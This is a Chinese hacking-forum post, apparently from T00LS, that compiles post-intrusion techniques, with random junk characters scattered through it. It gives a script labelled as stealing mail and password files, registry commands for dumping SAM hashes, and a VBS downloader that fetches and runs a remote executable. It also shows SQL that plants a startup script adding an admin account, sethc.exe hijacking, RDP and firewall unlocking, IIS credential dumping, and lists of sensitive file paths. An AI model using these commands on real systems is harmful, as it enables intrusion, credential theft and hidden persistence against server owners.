" Q/ }. N/ v  u3 }+ \——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
/ M! h* a, z/ e2 o' c————————————————————————————
! }# ^+ }  P5 K. F! {: I0 c1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
/ b5 h7 f3 U! K- ]6 a8 _alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
& \# C8 J, E7 q" z  K8 R{
注：
( _7 O9 \$ t2 W& ^) k( s) H# b' x关于tar的打包方式,linux不以扩展名来决定文件类型。
1 l- @& b2 K9 b3 x3 w8 \若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
; l1 o4 Z, Y9 r/ R$ L% P# {那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
: I4 K+ P  y  d/ R6 p9 w# b}  
9 `7 P, e$ J9 [) @: q/ d
6 F. t2 P6 o: a7 `6 |提权先执行systeminfo
2 ]9 M5 R; Q; _' c4 Ktoken 漏洞补丁号 KB956572
7 `' R7 h1 `! \3 ~( IChurrasco          kb952004
命令行RAR打包~~·
$ j; q4 w( Y) F) e- u! Rrar a -k -r -s -m3 c:\1.rar c:\folder
* y) x0 M. {9 Z7 l  U8 x7 u——————————————
( E% E* u2 m6 I$ c+ m0 z2、收集系统信息的脚本  
6 A. W+ P" L* d/ {) afor window：

$ D' \; u: m8 R@echo off
$ x% ?% }" i% t- l" y# H5 ?echo #########system info collection
$ r8 V7 f4 d4 Asysteminfo
ver
hostname
net user
: [. T4 s) R% J1 v/ Mnet localgroup
net localgroup administrators
net user guest
! f' Z! E/ z5 a2 Onet user administrator
' [9 ?- I1 U3 K3 a/ P1 r, M( Z& @, M
# M9 c* v& `9 a6 ^echo #######at- with   atq#####
' ~# _. q5 C: ~- q- O6 a2 {# }1 X4 Becho schtask /query

echo
! H4 |* h  `9 U5 aecho ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
' k( \1 N' W. L6 Y* `0 kroute print
. T) i- o5 O/ B( K* W, V1 Iarp -a
' E, B) b: X3 \' h# V  P2 unetstat -anipconfig /displaydns
echo
5 m9 g* ?: U. M- F9 z4 }echo #######service############
sc query type= service state= all
echo #######file-##############
2 T0 J& |0 c' s  a1 F8 x, Ucd \
tree -F
for linux：

#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
. v$ ~) P( u  V/ F# s3 kecho
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
( s) K5 M7 e3 @. u) d) y2 |0 E######stole the mail......######
: x3 L; t% f; |. E( ^( Ucp -a /var/mail /tmp/getmail 2>/dev/null

: u( u* k; }% [% ~: L- v) D+ S
echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
0 {; d1 f& G0 N7 qecho #####about var#####
3 Q5 E) p3 V! Q% U7 t4 H, rset

echo #####about network###
/ [8 p4 I. G; [1 t* |! @* D# \####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
arp -v
echo ########user####
% ^! j. _8 d- a! K" ^cat /etc/passwd|grep -i sh

: h0 Y* R& |+ _7 cecho ######service####
  m) @3 n$ x) h  p& zchkconfig --list
2 C. S; E  ?8 P* U
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
3 m( s8 o) H6 E7 j+ Pdone
1 [3 Z# T% ]- I4 N9 u0 @
locate passwd >/tmp/password 2>/dev/null
% y, ?7 E$ ]8 }) [1 C' Y5 W" Csleep 5
locate password >>/tmp/password 2>/dev/null
9 Z! t9 A  T' y6 c$ B  Tsleep 5
locate conf >/tmp/sysconfig 2>dev/null
, @5 d' u( l+ e, usleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5
8 O- s5 V1 H2 f( @
/ I+ B- ?$ h4 l+ Z  g) y###maybe can use "tree /"###
: ?8 ]; f- h/ N* \echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
. _+ X  u: T# J& Nrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
( B, q7 E. l' M7 n, R/ L9 [——————————————
3、ethash 不免杀怎么获取本机hash。
$ c' E/ m7 ^  v1 f5 g首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
8 G3 W+ o8 {1 N6 m& A- J: ?hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
' u; D2 W2 `5 ~* m7 Y1
: K: H6 ^7 p4 o; M6 Lecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
, I+ W1 V* t/ |* ~/ t& A, o( eecho sGet.Type = 1 >>c:\windows\cftmon.vbs
& s3 s9 i2 S0 F. s. E; i0 N. `echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
, T; R$ g2 v% |- z8 \echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
- J% p. I5 K  Y# {( K- f2 ?- G& aecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
0 s$ l# h+ E; g. A3 I! U' H4 oiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
# f4 F5 w( Z# ]* ws1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
  D# ^6 y& e( _8 x; \Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
" n7 b$ k5 q) r% sSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
" v) ?9 c/ q+ M2 E7 ksGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
: ~5 L5 B- s2 a4 y
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

$ A3 o! d6 \' ]# w9 _/ B" s8 x% u当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
" Q5 y) e- U; @6 e8 Z6 c——————————————————
: H) f2 Z' V! n* g. c  Y5、
" {7 C1 y3 ?# ^; k1 F, A$ b3 N1.查询终端端口
* g$ }1 x% O4 b3 kREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
5 V9 D3 J7 [3 K/ ~; o4 @: m& K7 y2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
4 P, \/ s0 a0 Y. E; v3 j3.更改终端端口为2008(0x7d8)
9 g, c% z  e+ bREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
8 I' E1 Z  F( nREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
9 {9 m. f3 {9 @7 c) X4 S4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
4 n/ m' A5 [( eREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
% I* d/ _/ ?2 r+ R6、create table a (cmd text);
: y& x! q: k2 {& g* D2 zinsert into a values ("set wshshell=createobject (""wscript.shell"")");
5 Q, _. b8 }9 i8 `( Y1 Ginsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
! q8 J( i- d% S7 ~3 \" c9 i6 Xselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
. ]' r! k) E6 i3 Y1 M: }3 C$ r0 l7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
: m5 C" |; {, z9 G6 x" R; ]8、for /d %i in (d:\freehost\*) do @echo %i
: t' F" d; K( L
列出d的所有目录
. H! w! f9 _- B- m9 i  
  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
: Y& \6 c1 R6 L) U; Z0 D6 I  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

5 y/ O" F3 Y: m3 g9 g7 v* t  tfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

2 q% R7 ]5 u) h; J' h# ?4 [! ?+ a- F3.for /f %i in (c:\1.txt) do echo %i
, C+ _2 u! a: {( d" _3 Z# A  
1 B) Q* H; P1 G: n0 M9 h' `) O- }  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
! `* r7 o1 D3 R& P, J) u
  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
5 M1 p/ e' N0 T# g
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
/ }, ~' J2 Z' n7 l8 ~修改PortNumber.
7 J. i3 d" d1 e7 ~2 B- m
8 d5 T2 c. b5 h: w3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
1 X& n! K: l6 S& J  n2 z# k  y
4.Radmin密码:
) `+ J' f2 [  u2 n9 wreg export HKLM\SYSTEM\RAdmin c:\a.reg

' K  V& V* _4 d) \5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
0 c8 p7 e2 e* K2 R5 h. _
6.IPSec默认免除项88端口(需重启):
9 i/ ~$ a+ H2 ~! {3 \' |reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
, _  p  Q' n, B0 O4 q' Q; c; e或者
netsh ipsec dynamic set config ipsecexempt value=0
' u* z# f' k0 s
9 s: A2 s. O; X" W( w7.停止指派策略"myipsec":
/ y( v! ~, ~% s8 \0 s; Y) s6 G& nnetsh ipsec static set policy name="myipsec" assign=n

0 L5 q$ \% j% s! \5 _  p8.系统口令恢复LM加密:
% |0 O- {) r" Z) [; n1 W! kreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
7 ^+ h* u9 `' D0 Creg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
; F! V4 [+ f1 F: ]$ Greg save hklm\security c:\security.hive
2 n$ ^1 _; f/ ?6 P+ G' E
10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
5 e/ }* Y6 q- O% I8 B1 u7 j9 Y
: S7 G- ]7 Q5 oreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
: J! K8 t; D! L( q( h-----------------------------------
) p" d3 z8 p* ]. s* V- q星外vbs(注：测试通过，好东西）
+ y; A* E! _  p% z" t2 ISet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
% q: Z5 x, W2 A" v! ochildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
7 R: S# O/ g: c) I5 Nset IIs=objservice.GetObject("IIsWebServer",childObjectName)
9 z6 E$ T$ {$ ]/ Hif err.number<>0 then
* A, T% j) ?7 E. oexit for
' F1 x- Q% s! L. p, {) a( ]6 |5 jmsgbox("error!")
wscript.quit
end if
+ o% z( }) a% |" Vserverbindings=IIS.serverBindings
/ @) X+ z2 M! L" h$ u. iServerComment=iis.servercomment
$ o' p& Q0 p0 D5 y# g, {2 Vset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
+ g& N2 G; p7 N3 ?+ @# W! i, F+ Dpass=iisweb.AnonymousUserPass
' U- E, b; A8 }/ upath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
7 Q  T& ~, ~/ F' c# O: c0 ~Next
- G! L' p3 a( ~# Swscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
( ]/ R6 a+ e* {复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
( A7 u1 {* D% Y% I  ^1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
  _8 ?# u3 i: P% N9 P3 T: J9 C' z! h将folder.htt文件，加入以下代码：
- M5 W( V5 Q- s0 b$ a6 {. \" [<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
9 Q% F# f, K; P: N6 b3 e</OBJECT>
+ @6 k* F9 z; ]1 O) W复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
1 `1 {. g: ~; rPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
. [) j9 c5 L1 P7 s; c7 n2 vasp代码，利用的时候会出现登录问题
, K' k3 X' ?  ~! `( f+ v/ { 原因是ASP大马里有这样的代码：（没有就没事儿了）
, \. |0 v' p3 n9 b) E url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
/ ^' o% O' B7 T. e3 D' y0 O 解决方法
url=request.severvariables("path_info")
4 ]8 i* h, H% m3 l+ g4 V8 a3 f9 L: K path_info可以直接呈现虚拟路径 顺利解析gif大马
- i, e# y1 I4 N+ ]4 W9 [3 C5 f# E
( _- [! K9 |2 Z- Z3 Q. A==============================================================
; I5 T& ~. j1 R! L3 w4 c& {% PLINUX常见路径：
. }1 Q" m. O4 q1 y# e  X: K+ \( E3 L
/etc/passwd
: @3 A! {6 ~9 D6 t/etc/shadow
/etc/fstab
/etc/host.conf
% n1 D+ M* m& u9 U2 R, l3 ~/etc/motd
; `" |! e5 \8 z: L9 _6 I/etc/ld.so.conf
/var/www/htdocs/index.php
7 A. m- `  _& M; H* `/var/www/conf/httpd.conf
9 O7 ^; [* w: |" S+ H$ T/var/www/htdocs/index.html
1 h4 C  K. ^# h/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
+ m: G1 O6 \& d0 [! r3 ^8 I/var/httpd/conf/httpd.conf
6 Z3 o  \: r" v$ q/var/httpd/htdocs/index.html
9 a3 _; ~& @5 }/ \' J3 S/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
. h1 g3 ]1 {0 d; {0 b/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
7 ^% X: y! h% A0 ]% E/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
7 }3 r& s9 Z9 L5 B/usr/local/apache2/htdocs/index.html
& {3 {% `- V; `' V8 ?6 k/ c9 ^5 O/usr/local/apache2/htdocs/index.php
/ ?* F2 K" G! v1 M$ G/usr/local/httpd2.2/htdocs/index.php
. E7 K) q8 [6 c, _7 s7 w6 Y/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
! t% d5 `" ~4 l- M4 ~/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
9 W: ?8 n; ^8 h7 r( [6 Q/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
8 g0 {2 A2 d6 t0 Z, ~- {/www/php5/php.ini
3 V! Y$ _/ y2 E0 v) v7 @/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
+ @  E% z, ]& i) }6 M; [; f/etc/apache2/apache.conf
9 I# Z( i2 w) `6 a( e5 T6 {/etc/apache/httpd.conf
/etc/apache2/httpd.conf
; N% {# W  S* N8 v% P- Q" }/etc/apache2/vhosts.d/00_default_vhost.conf
) a- c5 n" x& N1 p9 x/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
3 L  q5 H1 A) J; A) A  M/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
% T$ C* k, b- z( R: ]$ q/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
) T1 Z! J8 X0 q* x7 X/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
. k) _/ v7 h7 [: j  C1 x8 w" i/var/log/apache/access.log
/var/log/apache2/error_log
- j: B# X! H1 m" o$ d/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
. c' E! N6 K$ u* [% p/var/www/logs/error_log
  u) f) H* H% K" C/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
, v* V, k* Y3 J! v2 t+ r  y6 w/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
. e5 P) {8 Q" r  N) W% }+ U, Q/var/log/access.log
& M- e  i' J# M/ S7 {/usr/local/apache/logs/access_logaccess_log.old
- Z7 E2 R6 Z7 P# Y/usr/local/apache/logs/error_logerror_log.old
$ P1 g# w" G* [7 f( l6 b- F8 u( }* O+ G1 k/etc/php.ini
/bin/php.ini
5 D4 {/ I% I2 `& f( X% U0 s/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
" `6 H5 `; q3 v! w# A! r1 k. B6 f/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/ H; b  B- V7 U! L$ [* z- q& a  r# l/usr/local/php4/php.ini
& m3 _. ~0 J  @0 ~3 Q/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
) n" B# x4 _& K* @% H2 j  m6 c/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
1 |4 p/ ]+ N, z4 a& l/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
: W1 s3 U: Q3 m2 I/etc/php5/apache/php.ini
/ K" Z8 ]0 j$ I/etc/php5/apache2/php.ini
, u5 V3 T4 J. W9 F2 t& t4 z/etc/php/php.ini
8 B# G% K9 [# v1 U& m. z/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
- f0 z/ x1 M' ~4 |( g/ ]1 ]  n/var/local/www/conf/php.ini
- `: F+ M! ]* E$ N- J( J/var/local/www/conf/httpd.conf
% d" |- [; B5 T9 N: d/etc/php/cgi/php.ini
. {% p$ |1 m( d7 e8 U+ k1 @0 S8 q3 _/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
7 T& J4 u3 K+ g4 Z9 ]) ?# |5 d/php4/php.ini
) q# q" y9 w  H( ^8 r' u3 n3 s/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
" @/ z% N. |0 O/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
, D" _% G$ }' _4 N* O/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
( k2 d% @# F5 P4 _4 ?/ W- R1 y/var/log/mysql/mysql.log
9 j' l: m1 e( t" s/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
' y9 w, m" l% c* E& r" `/usr/local/mysql/bin/mysql
3 K& n6 S" m( Q* N% ]0 r/etc/mysql/my.cnf
* U2 ?) D8 B! K: b( Y/etc/my.cnf
% ~! B0 t: ~, {# \/usr/local/cpanel/logs
$ i: q0 v, a, I: l/usr/local/cpanel/logs/stats_log
# s3 A8 z6 n: w9 _/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
0 q8 ^; U0 B. e7 I8 `/usr/local/cpanel/logs/license_log
) x1 p' W& H; D4 [+ Z. y( V+ D% x/usr/local/cpanel/logs/login_log
6 |" ~% M  A, I' d2 J( b/usr/local/cpanel/logs/stats_log
- t/ U- T8 P, Q+ [7 u4 W7 ?. D3 F/usr/local/share/examples/php4/php.ini
% t- T) ~& N2 X4 q; D) C+ s* A/usr/local/share/examples/php/php.ini

9 {' z- N4 ~0 M$ ?2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

! c6 n) K" K# O& S3 rc:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt

c:\CMailServer\config.ini
' I; Z, `( r% Ic:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
& ~$ [% k5 g* o5 \5 Yc:\program files\CMailServer\WebMail\index.asp
& h3 h# g' _+ U* eC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

% U2 H' X3 c# \7 Y  B2 qc:\hzhost\databases\url.asp
' B/ _- f( Q0 Z7 J2 Z0 A
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
1 l% S$ V. y+ V* c6 G4 x2 j
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
3 o  e! X8 V% \5 RC:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
+ x0 K8 L- J* V0 x0 e5 T. W3 E7 tc:\website\index.html
5 H& i5 e' f- dc:\web\index.asp
- [# s+ R1 T4 ]0 u* K" j3 U4 Qc:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
$ p# h' Z- i. Q# V* b/ W# ^c:\web\index.php
+ H' x  L$ k7 R. Nc:\www\index.php
c:\WWWROOT\index.php
3 a/ w* k' |/ T  a7 Q8 Lc:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
8 B( ^+ S, H5 D% t) `( P  a) Wc:\website\default.html
c:\web\default.asp
: ]& b  [3 b. C/ Xc:\www\default.asp
c:\wwwsite\default.asp
3 N& R1 p5 G, L. J. Oc:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
' r$ `: L; B; g8 lC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
: |) r. J7 j! `8 r8 O) ?+ t+ n% Vc:\winnt\notepad.exe
  T" s+ P  N, j( o% {6 ^& |C:\Program Files\Microsoft Office\OFFICE10\winword.exe
! {" i( ~* t9 ?- @C:\Program Files\Microsoft Office\OFFICE11\winword.exe
+ _; C! u: t4 V6 M* s) x" UC:\Program Files\Microsoft Office\OFFICE12\winword.exe
8 C1 U( `5 t4 b- ]8 WC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
9 }/ r9 H+ ]3 }1 u( @. H! ^C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
1 b, v6 p3 z: S. N' t) J+ ec:\rising.ini
, R! M6 W4 n6 b1 u" JC:\Program Files\Rising\Rav\RsTask.xml
8 @& u& G$ C! k7 V8 l9 sC:\Documents and Settings\All Users\Start Menu\desktop.ini
9 c* a! c! M8 {# bC:\Documents and Settings\Administrator\My Documents\Default.rdp
4 H) j) U9 p& u/ K$ _4 _* b4 P( hC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
8 ^. \- O8 b; \1 tC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
' p! [, q: I8 X* X: Q0 y6 RC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
/ P7 {" t" N8 X; g: s2 p4 ]* UE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
7 r7 |3 W* d3 _' m. c: PC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
7 J" k' T0 n8 LC:\Program Files\Symantec\SYMEVENT.INF
# M0 _: I: T; N0 s$ RC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
3 A4 [/ g8 z2 T$ D# G9 SC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
/ \  `$ m* _2 E9 j* [7 R* v% GC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
7 R  v- q" ?& u# g+ PC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
" H% F4 n* a# g  I& N8 a3 xC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
2 S! E4 g3 R& W3 t5 ]  wC:\Program Files\MySQL\MySQL Server 5.0\COPYING
9 v( N& A3 J4 ]" WC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
9 e! N) X6 d' h! I* o, ]% Ic:\MySQL\MySQL Server 4.1\bin\mysql.exe
$ ]0 J% x, l% r& H( S  _3 Rc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
: d5 N) j" o' V/ b9 uC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
9 B9 s0 a7 x4 V. }9 eC:\WINDOWS\system32\inetsrv\MetaBase.xml
* ^# H0 I" q4 f$ z, X* \C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
9 J8 y# i1 k6 fc:\tomcat6\tomcat6\bin\version.sh
3 H' G, v7 N$ y3 b4 Qc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
6 c$ _& G7 e! h1 D9 Zc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
9 F- n* I8 t! C  G; P" o. Lc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
7 d; D# b5 l/ t# Q7 m8 B- U' Bc:\Apache2\bin\Apache.exe
; i, M$ h9 H/ z  C3 ]. H& h/ ac:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
* {$ l4 ~* Q: a* S. q* q" H/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
+ R$ q. ?9 `0 |$ y  K! fc:\Program Files\QQ2007\qq.exe
